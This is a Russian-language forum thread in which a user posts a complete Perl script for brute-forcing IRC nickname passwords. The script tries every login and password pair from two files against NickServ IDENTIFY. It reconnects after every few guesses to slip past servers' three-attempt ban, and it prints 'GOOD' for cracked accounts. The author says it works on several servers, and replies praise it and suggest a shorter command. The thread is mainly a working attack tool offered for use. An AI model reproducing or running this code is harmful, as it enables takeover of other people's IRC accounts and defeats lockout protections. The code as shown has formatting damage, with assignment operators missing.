[perl] iRC Bruter

Discussion in 'PHP' started by eLWAux, 5 Feb 2009.

  1. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    iRC Bruter
    брут ников в iRC сетях..

    брут осуществлен по такой схеме:
    • connect
    • авторизация
    • т.к. на большенстве серверов irc присутствует бан после 3х неверных вводов пароля, поетому
      • пробуем авторизироватса с логин1;пароль1
      • пробуем авторизироватса с логин2;пароль2
      • пробуем авторизироватса с логин3;пароль3
    • disconnect
    • goto пункт 1 (и так делаем, пока не переберем все ники и пароли)
    проверял на нескольких серверах - работает :)

    настройки:
    PHP:
     my $server  'сервер';
     
    my $port    =  порт_сервера;
     
    my $c       сколько_логинов_за_один_раз_подбирать;    
     
    my $freeze  0.7;
     
    my $rejoin  таймаут_при_пересоединении;
    в logins.txt логини,
    в pass.txt пароли

    --
    скрипт (perl):
    PHP:
     use strict#/
     
    use IO::Socket;
     
    system('cls');
     
     
    #=--==-==-=========================================
     #=- 5.2.2009
     
     
    print q[
     
    #
     # iRC brute
     # by eLwaux(c)2009
     # 
     
     
    ];
     
     
    my $server  'сервер';    # server
     
    my $port    =  порт;       # ip
     
    my $c       4;           # brute2 one connect
     
    my $freeze  0.7;         # change nick sleep
     
    my $rejoin  5;           # rejoin sleep
     #==-=-==================-==========================

     # loading logins
     
    open (FILE'<logins.txt');
     
    my @logins shared = <FILE>;
     
    chomp(@logins);
     
    close(FILE);
     
     
    # loading passwords
     
    open (FILE'<pass.txt');
     
    my @pass shared = <FILE>;
     
    chomp(@pass);
     
    close(FILE);
     
     print 
    '[i] logins:    '.scalar(@logins)."\n";
     print 
    ' [i] passwords: '.scalar(@pass)."\n";
     
     
    # creating my list user;pasw
     
    my @aLL;
     foreach 
    my $user(@logins) {
        foreach 
    my $pasw(@pass) {
            @
    aLL[scalar(@aLL)]=$user."\x01".$pasw;
            }
        }
     
     print 
    '     = '.int(scalar(@aLL))." combination(s)\n\n";
     print 
    " =-----====-=---==----=--=--=-==-=-=-==--= \n\n";
     
     
    # Brute
     
    my $irc;
     
     while (@
    aLL) {
            
    # connect to iRC server
            
            
    iRC_connect($server,$port);
            if (
    iRC_auth('abc')!=0) {
            
                     print 
    "  +  auth\n";
                    
                for (
    my $i=1$i<$c$i++){
                    
    my $aLL shift @aLL;
                    goto 
    _END if (!$aLL);
                    
    my @temp split(/\x01/,$aLL);
                    
    my $_USER $temp[0];
                    
    my $_PASW $temp[1];    
                    
    #print '    '.$_USER.' -- '.$_PASW."\n";
                    
    iRC_nick($_USER,$_PASW);
                    
    sleep($freeze);
                }
                
    _END:

            } else {
    $rejoin++;}
            
            
    iRC_disconnect();
            print 
    " <  disconect\n\n";
            
    sleep($rejoin);        
     }
     
     print 
    " =-----====-=---==----=--=--=-==-=-=-==--= \n\n";
     <
    stdin>;
     
     
    #=-===========-=======
     #-= functionS -=======
     #==-=-=========================-===================

     
    sub iRC_connect # server, port
        
    $irc = new IO::Socket::INET(
                
    PeerAddr => $_[0],
                
    PeerPort => $_[1],
                
    Timeout  => 1,
                
    Proto    => 'tcp') or
        die(
    " [-] can't connect to server ".$server.':'.$port."\n");
        print 
    " >  connect\n";
     }
     
     
    sub iRC_disconnect {
        
    close($irc);
     }
     
     
    sub iRC_auth # nick
          
    my $result 1;
          print 
    $irc "NICK $_[0]\r\n";
         print 
    $irc "USER $_[0] 8 * :$_[0]\r\n";
         while (
    my $input = <$irc>) {
            
    chop($input);
        
    #    print $input."====\n";
            
    if ($input =~ /433/) {
                print 
    ' [-] nickname "'.$_[0].'" is already in use..';
                
    $result 0;
                
    last;
            }
            
    elsif ($input =~ /^PING(.*)$/i) {
                print 
    $irc "PONG $1\r\n";
            }
            
    elsif ($input =~ /Reconnecting too fast/) {
                print 
    " -   reconnecting too fast\n";
                
    $result 0;
                
    last;
                }
            
    elsif ($input =~ /MODE\s.*:+/) {
                
    last;
            }
         }
         return 
    $result;
     }
     
     
    sub iRC_nick # nick, password
        
    print $irc "NICK ".$_[0]."\r\n"# change nick
        
    print $irc "PRIVMSG NickServ IDENTIFY ".$_[1]."\r\n";
        while (
    my $answ = <$irc>) {
                if    (
    $answ =~ /не зарег/)       { print "  -  unreg ".$_[0]."\n";       goto _NEXT; }
                
    elsif ($answ =~ /Неверный/)       { print "  -  bad passw ".$_[1]."\n";   goto _NEXT; }
                
    elsif ($answ =~ /Пароль принят/)  { print " +++ GOOD ".$_[0].":".$_[1]."\n";goto _NEXT; }
        }
        
    _NEXT:
     } 
     
    5 people like this.
  2. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    молодец :) +5
     
  3. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    PRIVMSG NickServ IDENTIFY можно заменить на NS IDENTIFY